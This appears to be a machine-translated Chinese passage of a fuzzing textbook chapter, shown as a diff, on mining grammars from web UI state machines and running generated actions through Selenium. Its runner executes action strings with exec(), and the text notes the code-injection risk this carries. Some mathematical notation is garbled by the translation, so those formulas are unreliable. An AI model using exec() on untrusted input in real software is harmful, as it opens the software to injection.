Conditions></text></g> <g class="edge" id="edge2"><title>\<Order Form\>->\<Terms and Conditions\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="120.5409" y="-65.3">click('Terms and conditions')</text></g> <g class="node" id="node4"><title>\<Thank You\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="406.0409" y="-14.3"><Thank You></text></g> <g class="edge" id="edge3"><title>\<Order Form\>->\<Thank You\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="350.0409" y="-72.8">fill(...)</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="395.5409" y="-57.8">submit('submit')</text></g> <g class="edge" id="edge4"><title>\<Terms and Conditions\>->\<Order Form\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="272.0409" y="-65.3">click('order form')</text></g> <g class="edge" id="edge5"><title>\<Thank You\>->\<Order Form\></title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="497.0409" y="-65.3">click('order form')</text></g></g></svg>
+
+最初，我们处于`<Order Form>`状态。 从这里，我们可以单击`Terms and Conditions`，我们将处于`Terms and Conditions`状态，显示具有相同标题的页面。 我们还可以填写表格并下订单，使我们以`Thank You`状态结束（再次显示具有相同标题的页面）。 在`<Terms and Conditions>`和`<Thank You>`中，我们都可以通过单击`order form`链接返回到订单表。
+
+### 作为语法的状态机
+
+为了系统地探索用户界面，我们必须检索其有限状态机，并最终涵盖所有状态和转换。 在存在表单的情况下，这种探索非常困难，因为我们需要一种特殊的机制来填写表单并提交值以进入下一个状态。 但是，有一个技巧可以使我们对状态和（表单）值都有一个单一的表示形式。 我们可以*将有限状态机嵌入到语法*中，然后将其用于状态和形式值。
+
+要将有限状态机嵌入语法中，我们按以下步骤进行：
+
+1.  有限状态机中的每个*状态* $ \ langle s \ rangle $在语法上都变成*符号* $ \ langle s \ rangle $。
+2.  从$ \ langle s \ rangle $到$ \ langle t \ rangle $的有限状态机中的每个*转换*，并且动作$ a_1，a_2，\ dots成为$的*替代项* \ langle s \ rangle $在语法中的格式为$ a_1，a_2，点$ $ \ langle t \ rangle $。
+
+上面的有限状态机因此被编码为语法
+
+```py
+<start> ::= <Order Form>
+<Order Form> ::= click('Terms and Conditions') <Terms and Conditions> | 
+                 fill(...) submit('submit') <Thank You>
+<Terms and Conditions> ::= click('order form') <Order Form>
+<Thank You> ::= click('order form') <Order Form>
+```
+
+扩展此语法可为我们提供一系列操作，在用户界面中导航：
+
+```py
+fill(...) submit('submit') click('order form') click('Terms and Conditions') click('order form') ...
+```
+
+实际上，此流是*无限*（因为可以与UI永远交互）； 为此，可以引入另一种`<end>`，它仅扩展为空字符串，而无需跟随任何扩展（状态）。
+
+### 检索状态语法
+
+让我们构建一个从用户界面的*当前状态*检索语法的方法。 我们首先定义一个常量`GUI_GRAMMAR`，该常量将作为各种输入类型的模板服务器。 我们将使用它来填写表格。
+
+\ todo {}：具有`__init__()`和`mine_grammar()`的通用接口`BaseGrammarMiner`
+
+```py
+from [Grammars](Grammars.html) import new_symbol
+
+```
+
+```py
+from [Grammars](Grammars.html) import nonterminals, START_SYMBOL
+from [Grammars](Grammars.html) import extend_grammar, unreachable_nonterminals, opts, crange, srange
+from [Grammars](Grammars.html) import syntax_diagram, is_valid_grammar
+
+```
+
+```py
+class GUIGrammarMiner(GUIGrammarMiner):
+    START_STATE = "<state>"
+    UNEXPLORED_STATE = "<unexplored>"
+    FINAL_STATE = "<end>"
+
+    GUI_GRAMMAR = ({
+        START_SYMBOL: [START_STATE],
+        UNEXPLORED_STATE: [""],
+        FINAL_STATE: [""],
+
+        "<text>": ["<string>"],
+        "<string>": ["<character>", "<string><character>"],
+        "<character>": ["<letter>", "<digit>", "<special>"],
+        "<letter>": crange('a', 'z') + crange('A', 'Z'),
+
+        "<number>": ["<digits>"],
+        "<digits>": ["<digit>", "<digits><digit>"],
+        "<digit>": crange('0', '9'),
+
+        "<special>": srange(". !"),
+
+        "<email>": ["<letters>@<letters>"],
+        "<letters>": ["<letter>", "<letters><letter>"],
+
+        "<boolean>": ["True", "False"],
+
+        # Use a fixed password in case we need to repeat it
+        "<password>": ["abcABC.123"],
+
+        "<hidden>": "<string>",
+    })
+
+```
+
+```py
+syntax_diagram(GUIGrammarMiner.GUI_GRAMMAR)
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 182.5 62" width="182.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="91.25" y="35">state</text></g></g></g></g></svg>
+
+```py
+unexplored
+
+```
+
+```py
+end
+
+```
+
+```py
+text
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 191.0 62" width="191.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="95.5" y="35">string</text></g></g></g></g></svg>
+
+```py
+string
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 307.5 92" width="307.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="153.75" y="35">character</text></g></g> <g><g class="non-terminal"><text x="95.5" y="65">string</text></g> <g class="non-terminal"><text x="199.25" y="65">character</text></g></g></g></g></svg>
+
+```py
+character
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 199.5 122" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="99.75" y="35">letter</text></g></g> <g><g class="non-terminal"><text x="99.75" y="65">digit</text></g></g> <g><g class="non-terminal"><text x="99.75" y="95">special</text></g></g></g></g></svg>
+
+```py
+letter
+
+```
+
+ <svg class="railroad-diagram" height="348" viewBox="0 0 611.0 348" width="611.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g><g class="terminal"><text x="84.25" y="163">e</text></g></g> <g><g class="terminal"><text x="84.25" y="133">d</text></g></g> <g><g class="terminal"><text x="84.25" y="103">c</text></g></g> <g><g class="terminal"><text x="84.25" y="73">b</text></g></g> <g><g class="terminal"><text x="84.25" y="43">a</text></g></g> <g><g class="terminal"><text x="84.25" y="193">f</text></g></g> <g><g class="terminal"><text x="84.25" y="223">g</text></g></g> <g><g class="terminal"><text x="84.25" y="253">h</text></g></g> <g><g class="terminal"><text x="84.25" y="283">i</text></g></g> <g><g class="terminal"><text x="84.25" y="313">j</text></g></g></g> <g><g><g class="terminal"><text x="172.75" y="163">o</text></g></g> <g><g class="terminal"><text x="172.75" y="133">n</text></g></g> <g><g class="terminal"><text x="172.75" y="103">m</text></g></g> <g><g class="terminal"><text x="172.75" y="73">l</text></g></g> <g><g class="terminal"><text x="172.75" y="43">k</text></g></g> <g><g class="terminal"><text x="172.75" y="193">p</text></g></g> <g><g class="terminal"><text x="172.75" y="223">q</text></g></g> <g><g class="terminal"><text x="172.75" y="253">r</text></g></g> <g><g class="terminal"><text x="172.75" y="283">s</text></g></g> <g><g class="terminal"><text x="172.75" y="313">t</text></g></g></g> <g><g><g class="terminal"><text x="261.25" y="163">y</text></g></g> <g><g class="terminal"><text x="261.25" y="133">x</text></g></g> <g><g class="terminal"><text x="261.25" y="103">w</text></g></g> <g><g class="terminal"><text x="261.25" y="73">v</text></g></g> <g><g class="terminal"><text x="261.25" y="43">u</text></g></g> <g><g class="terminal"><text x="261.25" y="193">z</text></g></g> <g><g class="terminal"><text x="261.25" y="223">A</text></g></g> <g><g class="terminal"><text x="261.25" y="253">B</text></g></g> <g><g class="terminal"><text x="261.25" y="283">C</text></g></g> <g><g class="terminal"><text x="261.25" y="313">D</text></g></g></g> <g><g><g class="terminal"><text x="349.75" y="163">I</text></g></g> <g><g class="terminal"><text x="349.75" y="133">H</text></g></g> <g><g class="terminal"><text x="349.75" y="103">G</text></g></g> <g><g class="terminal"><text x="349.75" y="73">F</text></g></g> <g><g class="terminal"><text x="349.75" y="43">E</text></g></g> <g><g class="terminal"><text x="349.75" y="193">J</text></g></g> <g><g class="terminal"><text x="349.75" y="223">K</text></g></g> <g><g class="terminal"><text x="349.75" y="253">L</text></g></g> <g><g class="terminal"><text x="349.75" y="283">M</text></g></g> <g><g class="terminal"><text x="349.75" y="313">N</text></g></g></g> <g><g><g class="terminal"><text x="438.25" y="163">S</text></g></g> <g><g class="terminal"><text x="438.25" y="133">R</text></g></g> <g><g class="terminal"><text x="438.25" y="103">Q</text></g></g> <g><g class="terminal"><text x="438.25" y="73">P</text></g></g> <g><g class="terminal"><text x="438.25" y="43">O</text></g></g> <g><g class="terminal"><text x="438.25" y="193">T</text></g></g> <g><g class="terminal"><text x="438.25" y="223">U</text></g></g> <g><g class="terminal"><text x="438.25" y="253">V</text></g></g> <g><g class="terminal"><text x="438.25" y="283">W</text></g></g> <g><g class="terminal"><text x="438.25" y="313">X</text></g></g></g> <g><g><g class="terminal"><text x="526.75" y="163">Y</text></g></g> <g><g class="terminal"><text x="526.75" y="193">Z</text></g></g></g></g></g></svg>
+
+```py
+number
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 191.0 62" width="191.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="95.5" y="35">digits</text></g></g></g></g></svg>
+
+```py
+digits
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 273.5 92" width="273.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="136.75" y="35">digit</text></g></g> <g><g class="non-terminal"><text x="95.5" y="65">digits</text></g> <g class="non-terminal"><text x="182.25" y="65">digit</text></g></g></g></g></svg>
+
+```py
+digit
+
+```
+
+ <svg class="railroad-diagram" height="109" viewBox="0 0 522.5 109" width="522.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g><g class="terminal"><text x="84.25" y="43">0</text></g></g> <g><g class="terminal"><text x="84.25" y="73">1</text></g></g></g> <g><g><g class="terminal"><text x="172.75" y="43">2</text></g></g> <g><g class="terminal"><text x="172.75" y="73">3</text></g></g></g> <g><g><g class="terminal"><text x="261.25" y="43">4</text></g></g> <g><g class="terminal"><text x="261.25" y="73">5</text></g></g></g> <g><g><g class="terminal"><text x="349.75" y="43">6</text></g></g> <g><g class="terminal"><text x="349.75" y="73">7</text></g></g></g> <g><g><g class="terminal"><text x="438.25" y="43">8</text></g></g> <g><g class="terminal"><text x="438.25" y="73">9</text></g></g></g></g></g></svg>
+
+```py
+special
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 148.5 122" width="148.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="74.25" y="35">.</text></g></g><g><g class="terminal"><text x="74.25" y="95">!</text></g></g></g></g></svg>
+
+```py
+email
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 347.5 62" width="347.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="99.75" y="35">letters</text></g> <g class="terminal"><text x="173.75" y="35">@</text></g> <g class="non-terminal"><text x="247.75" y="35">letters</text></g></g></g></g></svg>
+
+```py
+letters
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 290.5 92" width="290.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="145.25" y="35">letter</text></g></g> <g><g class="non-terminal"><text x="99.75" y="65">letters</text></g> <g class="non-terminal"><text x="195.0" y="65">letter</text></g></g></g></g></svg>
+
+```py
+boolean
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 182.5 92" width="182.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="91.25" y="35">True</text></g></g> <g><g class="terminal"><text x="91.25" y="65">False</text></g></g></g></g></svg>
+
+```py
+password
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 225.0 62" width="225.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="112.5" y="35">abcABC.123</text></g></g></g></g></svg>
+
+```py
+hidden
+
+```
+
+ <svg class="railroad-diagram" height="80" viewBox="0 0 788.0 80" width="788.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g><g class="terminal"><text x="84.25" y="44"><</text></g></g></g> <g><g><g class="terminal"><text x="172.75" y="44">s</text></g></g></g> <g><g><g class="terminal"><text x="261.25" y="44">t</text></g></g></g> <g><g><g class="terminal"><text x="349.75" y="44">r</text></g></g></g> <g><g><g class="terminal"><text x="438.25" y="44">i</text></g></g></g> <g><g><g class="terminal"><text x="526.75" y="44">n</text></g></g></g> <g><g><g class="terminal"><text x="615.25" y="44">g</text></g></g></g> <g><g><g class="terminal"><text x="703.75" y="44">></text></g></g></g></g></g></svg>
+
+方法`mine_state_grammar()`会执行从页面中提取的操作（使用`mine_state_actions()`），并为当前状态创建语法。 对于每个`click()`和`submit()`操作，它都假定遵循一个新状态，并在语法中引入一个适当的状态符号-一个现在将被标记为`<unexplored>`的状态符号，但稍后会扩展为适当的状态 被看到。
+
+```py
+class GUIGrammarMiner(GUIGrammarMiner):
+    def new_state_symbol(self, grammar):
+        return new_symbol(grammar, self.START_STATE)
+
+    def mine_state_grammar(self, grammar={}, state_symbol=None):
+        grammar = extend_grammar(self.GUI_GRAMMAR, grammar)
+
+        if state_symbol is None:
+            state_symbol = self.new_state_symbol(grammar)
+            grammar[state_symbol] = []
+
+        alternatives = []
+        form = ""
+        submit = None
+
+        for action in self.mine_state_actions():
+            if action.startswith("submit"):
+                submit = action
+
+            elif action.startswith("click"):
+                link_target = self.new_state_symbol(grammar)
+                grammar[link_target] = [self.UNEXPLORED_STATE]
+                alternatives.append(action + '\n' + link_target)
+
+            elif action.startswith("ignore"):
+                pass
+
+            else:  # fill(), check() actions
+                if len(form) > 0:
+                    form += '\n'
+                form += action
+
+        if submit is not None:
+            if len(form) > 0:
+                form += '\n'
+            form += submit
+
+        if len(form) > 0:
+            form_target = self.new_state_symbol(grammar)
+            grammar[form_target] = [self.UNEXPLORED_STATE]
+            alternatives.append(form + '\n' + form_target)
+
+        alternatives += [self.FINAL_STATE]
+
+        grammar[state_symbol] = alternatives
+
+        # Remove unused parts
+        for nonterminal in unreachable_nonterminals(grammar):
+            del grammar[nonterminal]
+
+        assert is_valid_grammar(grammar)
+
+        return grammar
+
+```
+
+让我们展示`mine_state_grammar()`的作用。 这是主页的语法：
+
+```py
+gui_grammar_miner = GUIGrammarMiner(gui_driver)
+state_grammar = gui_grammar_miner.mine_state_grammar()
+
+```
+
+从开始状态（`<state>`）开始，我们可以单击以`<state-1>`结尾的“条款和条件”，或填写以`<state-2>`结尾的表格。
+
+```py
+state_grammar[GUIGrammarMiner.START_STATE]
+
+```
+
+```py
+["click('terms and conditions')\n<state-1>",
+ "fill('zip', '<number>')\nfill('name', '<text>')\nfill('city', '<text>')\ncheck('terms', <boolean>)\nfill('email', '<email>')\nsubmit('submit')\n<state-2>",
+ '<end>']
+
+```
+
+这两种状态尚未开发：
+
+```py
+state_grammar['<state-1>']
+
+```
+
+```py
+['<unexplored>']
+
+```
+
+```py
+state_grammar['<state-2>']
+
+```
+
+```py
+['<unexplored>']
+
+```
+
+```py
+state_grammar['<unexplored>']
+
+```
+
+```py
+['']
+
+```
+
+为了更好地查看状态结构，函数`fsm_diagram()`将结果语法显示为有限状态机。 （这假设语法实际上是对状态机进行编码的。）
+
+```py
+from [collections](https://docs.python.org/3/library/collections.html) import deque
+
+```
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import unicode_escape
+
+```
+
+```py
+def fsm_diagram(grammar, start_symbol=START_SYMBOL):
+    def left_align(label):
+        return dot_escape(label.replace('\n', r'\l')).replace(r'\\l', '\\l')
+
+    dot = Digraph(comment="Grammar as Finite State Machine")
+
+    symbols = deque([start_symbol])
+    symbols_seen = set()
+
+    while len(symbols) > 0:
+        symbol = symbols.popleft()
+        symbols_seen.add(symbol)
+        dot.node(symbol, dot_escape(unicode_escape(symbol)))
+
+        for expansion in grammar[symbol]:
+            nts = nonterminals(expansion)
+            if len(nts) > 0:
+                target_symbol = nts[-1]
+                if target_symbol not in symbols_seen:
+                    symbols.append(target_symbol)
+
+                label = expansion.replace(target_symbol, '')
+                dot.edge(symbol, target_symbol, left_align(unicode_escape(label)))
+
+    return display(dot)
+
+```
+
+这是我们目前作为状态机的语法。 我们看到它很好地反映了我们可以从Web服务器的主页看到的内容：
+
+```py
+fsm_diagram(state_grammar)
+
+```
+
+<svg height="352pt" viewBox="0.00 0.00 411.94 352.00" width="412pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 348)"><title>%3</title> <g class="node" id="node1"><title>start</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="208.496" y="-322.3"><start></text></g> <g class="node" id="node2"><title>state</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="208.496" y="-249.3"><state></text></g> <g class="edge" id="edge1"><title>start->state</title></g> <g class="node" id="node3"><title>state-1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="45.496" y="-87.3"><state-1></text></g> <g class="edge" id="edge2"><title>state->state-1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="23.496" y="-168.3">click('terms and conditions')</text></g> <g class="node" id="node4"><title>state-2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="172.496" y="-87.3"><state-2></text></g> <g class="edge" id="edge3"><title>state->state-2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="204.496" y="-205.8">fill('zip', '<number>')</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="204.496" y="-190.8">fill('name', '<text>')</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="204.496" y="-175.8">fill('city', '<text>')</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="204.496" y="-160.8">check('terms', <boolean>)</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="204.496" y="-145.8">fill('email', '<email>')</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="204.496" y="-130.8">submit('submit')</text></g> <g class="node" id="node5"><title>end</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="369.496" y="-87.3"><end></text></g> <g class="edge" id="edge4"><title>state->end</title></g> <g class="node" id="node6"><title>unexplored</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="99.496" y="-14.3"><unexplored></text></g> <g class="edge" id="edge5"><title>state-1->unexplored</title></g> <g class="edge" id="edge6"><title>state-2->unexplored</title></g></g></svg>
+
+给定语法，我们可以使用任何语法模糊器来创建有效的输入序列：
+
+```py
+from [GrammarFuzzer](GrammarFuzzer.html) import GrammarFuzzer
+
+```
+
+```py
+gui_fuzzer = GrammarFuzzer(state_grammar)
+while True:
+    action = gui_fuzzer.fuzz()
+    if action.find('submit(') > 0:
+        break
+print(action)
+
+```
+
+```py
+fill('zip', '8')
+fill('name', '4!C4!')
+fill('city', '.')
+check('terms', True)
+fill('email', 'p@LiB')
+submit('submit')
+
+```
+
+但是，还必须执行*执行这些操作*，以便我们可以浏览用户界面。 这是我们在下一节中要做的。
+
+### 执行用户界面操作
+
+为了执行动作，我们引入了`Runner`类，方便地命名为`GUIRunner`。 `run()`方法的目的是执行动作字符串中给出的动作。 我们这样做的方法非常简单：我们引入了`fill()`，`check()`，`submit()`和`click()`四种方法，并在操作字符串上运行`exec()`，以使Python解释器调用这些方法。
+
+在第三方输入上运行`exec()`是危险的，因为UI元素的名称可能包含有效的Python代码。 我们限制对上述四个函数的访问，并将`__builtins__`设置为空字典，以使`exec()`期间无法使用内置的Python函数。 这样可以防止事故发生，但是正如我们在有关信息流的[一章中所看到的那样，仍然可以注入Python代码。 为了防止此类注入攻击，我们使用`html.escape()`来引用所有第三方字符串中的angle和报价字符。](InformationFlow.html)
+
+```py
+from [Fuzzer](Fuzzer.html) import Runner
+
+```
+
+```py
+class GUIRunner(Runner):
+    def __init__(self, driver):
+        self.driver = driver
+
+    def run(self, inp):
+        def fill(name, value):
+            self.do_fill(html.unescape(name), html.unescape(value))
+        def check(name, state):
+            self.do_check(html.unescape(name), state)
+        def submit(name):
+            self.do_submit(html.unescape(name))
+        def click(name):
+            self.do_click(html.unescape(name))
+
+        exec(inp, {'__builtins__': {}},
+                  {'fill': fill, 'check': check, 'submit': submit, 'click': click})
+
+        return inp, self.PASS
+
+```
+
+为了识别动作中的元素，我们首先按名称搜索，然后按显示的链接文本搜索。
+
+```py
+from [selenium.common.exceptions](https://selenium-python.readthedocs.io/) import NoSuchElementException
+from [selenium.common.exceptions](https://selenium-python.readthedocs.io/) import ElementClickInterceptedException, ElementNotInteractableException
+
+```
+
+```py
+class GUIRunner(GUIRunner):
+    def find_element(self, name):
+        try:
+            return self.driver.find_element_by_name(name)
+        except NoSuchElementException:
+            return self.driver.find_element_by_link_text(name)
+
+```
+
+这些动作的实现只是遵循适当的Selenium方法，从而引入了显式的延迟，以便可以重新加载和刷新页面。
+
+```py
+from [selenium.webdriver.support.ui](https://selenium-python.readthedocs.io/) import WebDriverWait
+
+```
+
+```py
+class GUIRunner(GUIRunner):
+    # Delays (in seconds)
+    DELAY_AFTER_FILL = 0.1
+    DELAY_AFTER_CHECK = 0.1
+    DELAY_AFTER_SUBMIT = 1
+    DELAY_AFTER_CLICK = 1
+
+```
+
+```py
+class GUIRunner(GUIRunner):
+    def do_fill(self, name, value):
+        element = self.find_element(name)
+        element.send_keys(value)
+        WebDriverWait(self.driver, self.DELAY_AFTER_FILL)
+
+```
+
+```py
+class GUIRunner(GUIRunner):
+    def do_check(self, name, state):
+        element = self.find_element(name)
+        if bool(state) != bool(element.is_selected()):
+            element.click()
+        WebDriverWait(self.driver, self.DELAY_AFTER_CHECK)
+
+```
+
+```py
+class GUIRunner(GUIRunner):
+    def do_submit(self, name):
+        element = self.find_element(name)
+        element.click()
+        WebDriverWait(self.driver, self.DELAY_AFTER_SUBMIT)
+
+```
+
+```py
+class GUIRunner(GUIRunner):
+    def do_click(self, name):
+        element = self.find_element(name)
+        element.click()
+        WebDriverWait(self.driver, self.DELAY_AFTER_CLICK)
+
+```
+
+让我们尝试`GUIRunner`。 我们在Web服务器上创建一个运行程序，并让它执行`fill()`操作：
+
+```py
+gui_driver.get(httpd_url)
+
+```
+
+```py
+gui_runner = GUIRunner(gui_driver)
+
+```
+
+```py
+gui_runner.run("fill('name', 'Walter White')")
+
+```
+
+```py
+("fill('name', 'Walter White')", 'PASS')
+
+```
+
+```py
+Image(gui_driver.get_screenshot_as_png())
+
+```
+
+![](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA9AAAAE7CAYAAAA1smmAAAAgAElEQVR4nOy9aVBWy5/nmW+630yc6e6YqmdiOp6oini6gohiIphoYpixh6HGMIawCYJ2LAvDtqW0tbS9Flqi7UZ53b3qdR3FBde/4oiDG1cZbAa3y5XiujFXRKUEd1AEZUeWZ/nOC26mZ32e8yBu8P1E/EI5J0+ePEueJ7+Zv/ylACGEEEIIIYQQQiIivnQBCCGEEEIIIYSQbwEKaEIIIYQQQgghxAUU0IQQQgghhBBCiAsooAkhhBBCCCGEEBdQQBNCCCGEEEIIIS6ggCaEEEIIIYQQQlxAAU0IIYQQQgghhLiAApoQQgghhBBCCHEBBTQhhBBCCCGEEOICCmhCCCGEEEIIIcQF0QloIWg0Go1Go9FoNBqNRhteRgFNo9FoNBqNRqPRaDSaC6OAptFoNBqNRqPRaDQazYVRQNNoNBqNRqPRaDQajebCPouAJoQQQgghhBBCvjUooAkhhBBCCCGEEBdQQBNCCCGEEEIIIS6ggCaEEEIIIYQQQlxAAU0IIYQQQgghhLiAApoQQgghhBBCCHEBBTQhhBBCCCGEEOICCmhCCCGEEEIIIcQFFNCEEEIIIYQQQogLKKAJIYQQQgghhBAXUEATQgghhBBCCCEuoIAmhBBCCCGEEEJcQAFNCCGEEEIIIYS4gAKaEEIIIYQQQghxAQU0IYQQQgghhBDiAgpoQgghhBBCCCHEBRTQhBBCCCGEEEKICyigCSGEEEIIIYQQF1BAE0IIIYQQQgghLqCAJoQQQgghhBBCXEABTQghhBBCCCGEuIACmhBCCCGEEEIIcQEFNCGEEEIIIYQQ4gIKaEIIIYQQQgghxAXDTUAHAgH4/f4hsVAo9EnL+rlpaWlBbm4uCgsL4ff7v3RxHAkGg47P5Fsk3Dv5OXj9+jWuXLmC3bt3Y/HixdixYweKi4tRW1uryvD27VvMmDEDFRUVn6VMw4lAIIBbt27h5MmTyMnJwdatW5GTk4OTJ0+isrISwWDwSxcx7HcuEAh86eJFJNw3YTBGCCGEEDJohpOAfvXqFYQQQ2aVlZWfrKyfm+vXrxuuzev1oru7+0sXy5YFCxY4PpPffvvtSxcvaqZNm+Z4PZ9SvPT29mLJkiWG82maZvl7ypQpSEpKghACJ06c+GTlGW48fvwYs2bNstxTs2mahnnz5uHly5dfrKzhyjdnzpwvVi63HD16dEi/7YQQQgghg2Y4Ceienh6UlpZi48aNYRtPU6dOxapVq5CVlYVJkyYp8TCcBXR6errl+o4dO/ali2XL/fv3MWPGDNtn8uuvv37p4kVNZWUlUlJSPquAfvv2LeLj4w3v/KtXrwAA3d3dqKiosH3vKaAj4/f7LR0TQgisWbMGDx48QFNTE4qKijB79mzbNF9ixPfWrVs4fvw4PB7PNymg37x5gwsXLuC7776L2FGxatUqZGZmYvz48YiLi6OAJoQQQsjQMpwEtJ7c3FzbhlNiYqJt+pcvX2Lp0qXDVkDbNSQXLVr0pYvlSE9Pj+3z+1ZdjKurqz+rgNYLjeTkZFs3Yr/fj+zsbAroKGhtbcXYsWNdd7Zt2rTJkjYtLQ2dnZ2fueQDrFq1ylKe77777ouUZbBMmjTJti6tWLHCNv3t27cxfvx4CmhCCCGEDA3DVUBXVlbaNrLmzp0b9rjVq1cPSwG9YcMGy7342t2hY2Njh42AduoQ+BQC2vzuHzlyJGz6CRMmUEC7wO/3Y8yYMZZnePTo0bDHzZ8/33LMuHHjvshI9K5du755AW13DUIInD592vGYQCBgeHaEEEIIIYNmuArohw8fDkpA+/1+NVo7nAR0S0sLFi1aBE3T4PP5sHfv3i9dpIjYjZp/iy7cwOcV0ObOkkjP+u3bt2oeb35+/pCXZ7hg57bt9XojBqVyis2wcuXKz1NwHTk5OZZyfAsu3HoOHDgQtYAGgPr6egpoQgghhHw8FNDAyZMncenSJfW3dLscTgJa0t/f/1VEBXYDBfTgmDhxouEccXFx6OnpCXvMihUrOAIdhtraWtvnt379elfH27l9CyHw/PnzT1xyIyNJQIdCIfz444949OiR2iafAyGEEELIoBnpAjoYDELTNCxevFhtu3//PoQQuH///mcp67dES0sLampq8P79+6iO8/v9ePr0KWpqatDS0uLqmEgC+t27d6irqxtUh0Bvby+qqqrw4sWLqI+VtLW1obKyEu/evYuY9nMKaLvgYKNGjUJNTY3jMXV1dV+FgA4Gg3j9+jWqq6vR0NAwqCWHgsEgXr16herqarx582ZIOoymT59u+/yuXLni6vi8vDzb46N1nw6FQmhoaMCTJ08ipg0Gg6itrUVbW5vaNlgB7ff7UVNTg5cvX370O9va2oqHDx8O+rm4FdDyO15UVKS25ebmQtO0sPkHAgHU1tbi4cOHQ7Lk1fv37/Hw4cNBrXrg9/vx+PFj1NbWore31zFdY2MjHjx4EPV3mRBCCCGDYKQLaDlfVC+gAaiIxatXr0ZCQoLFEhMTVeMqIyPDNk1CQgKqq6tVnjU1NY7pnGzbtm0fdWxRUZHj/gsXLgAYEMVJSUm2aXbu3Am/348dO3Zg9OjRhns5evRo3L171/EZdHR0YMOGDfD5fJbnIJdP2rRpk8H0+dkJ6CtXrmDt2rVISEgw5JWamop79+6FfSf6+vqwZs0aQ3Rq/fHXrl2L9FqhsbERM2fOtFyT1+tFRkYGnj17ZntcJAFdUVER9llGM1LpJPaEEMjKykJjY6NjGfXrQocrz4oVK9DS0hLxHXzz5g2WLl1q2d7Q0KDO6/f7ce7cOdv5xUIIxMbGYseOHWhubna85kAggPz8fMuzlZaWloYNGzYY3jW9sApHX1+f4/1003kCfOigsKsH8h2YPHmy7T1MTU0FMPCO6OMCxMfH2wr4R48eYfz48YbltUaPHo2CgoKoBfSxY8eQmJhoKfOSJUvQ2tpqSLt9+3bH9+DFixdoaGjAuHHjVD4ejwc5OTmu7p8etwJazpXWP+fe3l7HDrz8/HzLN06IgcCTubm5CIVChvTXrl0L+23t6+vDokWLLB0mfX19Yb/LZWVlaGxsxNy5cy1lmTx5Murr6wEMdKYcOXIEXq/X8q7rR90JIYQQMsSMdAE9efJkWwEtOXv2LGJiYmzzkiMKJ0+eNARi0tuNGzdUXuXl5baNs9TUVEsjSNrGjRs/6th79+45ChMZXKq9vR0zZ860TTN//nx1j5wEgJ2wqaiosKyPu3nzZhw8eDDsurn6gExOS9CEM9kpYKa2ttYgumNiYrB7926sWbPGcPzq1asdR51KSkoMywAlJyfjyJEjmDp1quF+FBYWWo6NJKDr6uqwceNGyzJDSUlJ+PHHH9HR0WFbJjucgizp7fvvvw8rSNva2mzFhLx3RUVFeP/+veX+6e/Djz/+iK6uLpw4ccIgbNPT09X1BINBZGRkqH0TJkxAXl4ejhw5YnheQgx0UsiOLT1NTU2Wd